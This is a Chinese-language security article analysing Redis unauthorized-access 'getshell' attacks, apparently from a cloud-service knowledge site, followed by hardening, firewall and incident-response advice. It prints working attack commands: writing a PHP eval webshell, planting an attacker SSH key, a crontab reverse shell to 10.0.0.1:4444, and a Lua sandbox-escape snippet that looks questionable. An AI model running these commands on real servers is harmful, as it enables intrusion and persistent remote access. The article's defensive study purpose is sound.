溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Redis+Getshell的示例分析

發布時間:2022-01-13 15:44:23 來源:億速云 閱讀:225 作者:小新 欄目:安全技術
# Redis+Getshell的示例分析

## 引言

Redis作為高性能的鍵值存儲數據庫,廣泛應用于緩存、消息隊列等場景。然而,由于配置不當或版本漏洞,Redis服務器可能成為攻擊者獲取服務器權限的入口。本文將通過技術原理、攻擊場景和防御措施三個維度,分析Redis被用于GetShell的典型攻擊路徑。

---

## 一、Redis未授權訪問漏洞原理

### 1.1 漏洞成因
Redis默認綁定`0.0.0.0:6379`且無認證機制,若管理員未配置:
- `requirepass`認證密碼
- `bind 127.0.0.1`限制訪問IP
- 防火墻規則

攻擊者可直接通過`redis-cli -h <target>`連接服務器。

### 1.2 信息泄露驗證
```bash
$ redis-cli -h 192.168.1.100
192.168.1.100:6379> info
# 獲取服務器版本、數據目錄等敏感信息

二、GetShell攻擊路徑示例

2.1 寫入Webshell(需已知Web目錄)

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save

關鍵點: - 需要Redis運行賬戶對Web目錄有寫權限 - 適用于Apache/Nginx等未做權限分離的場景

2.2 寫入SSH公鑰

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC... attacker@kali\n\n"
save

利用條件: - Redis以root權限運行 - 服務器啟用SSH服務

2.3 Crontab定時任務反彈Shell

config set dir /var/spool/cron
config set dbfilename root
set x "\n* * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n"
save

特征: - 適用于Linux系統 - 需要目標服務器可出網


三、高級利用技術

3.1 主從復制RCE

利用工具: - RedisRogueServer - redis-ssrf

攻擊流程: 1. 偽造惡意Redis主節點 2. 誘導從節點執行MODULE LOAD命令 3. 加載惡意.so文件實現RCE

3.2 Lua沙盒繞過

eval 'local io = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local f = io(); local cmd = "id"; local res = f:read("|"..cmd.."|"); return res' 0

限制: - 需存在可加載的Lua庫文件 - Redis配置未禁用SCRIPT KILL


四、防御方案

4.1 基礎加固

# 必選項
bind 127.0.0.1
requirepass ComplexPassword123!
rename-command FLUSHALL ""
protected-mode yes

# 推薦項
port 6380  # 修改默認端口
dir /var/lib/redis/  # 設置專用數據目錄

4.2 網絡層防護

  • 云服務器配置安全組限制6379端口訪問
  • 本地防火墻規則示例:
    
    iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/24 -j ACCEPT
    iptables -A INPUT -p tcp --dport 6379 -j DROP
    

4.3 運行時防護

措施 說明
低權限運行 創建專用redis賬戶并限制目錄權限
定期日志審計 監控可疑CONFIG/SET操作
禁用高危命令 rename-command CONFIG “”

五、入侵檢測與應急響應

5.1 入侵痕跡檢查

# 檢查可疑文件
find / -name "*.rdb" -mtime -1
ls -al /var/spool/cron/

# 檢查Redis日志
grep -E "CONFIG|SAVE" /var/log/redis/redis.log

5.2 應急處理步驟

  1. 立即斷開受影響服務器網絡
  2. 備份當前Redis數據文件(取證需要)
  3. 重置SSH密鑰與Redis密碼
  4. 升級Redis至最新版本

結語

Redis的GetShell利用本質是配置缺陷與權限問題的疊加。管理員應當遵循最小權限原則,結合網絡隔離與命令限制構建縱深防御體系。建議定期使用Redis-Check等工具進行安全檢測,防患于未然。

本文僅作技術研究用途,嚴禁用于非法測試!實際滲透測試需獲得書面授權。 “`

注:實際執行攻擊行為屬于違法行為,本文所有示例僅供安全研究人員進行防御方案設計參考。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女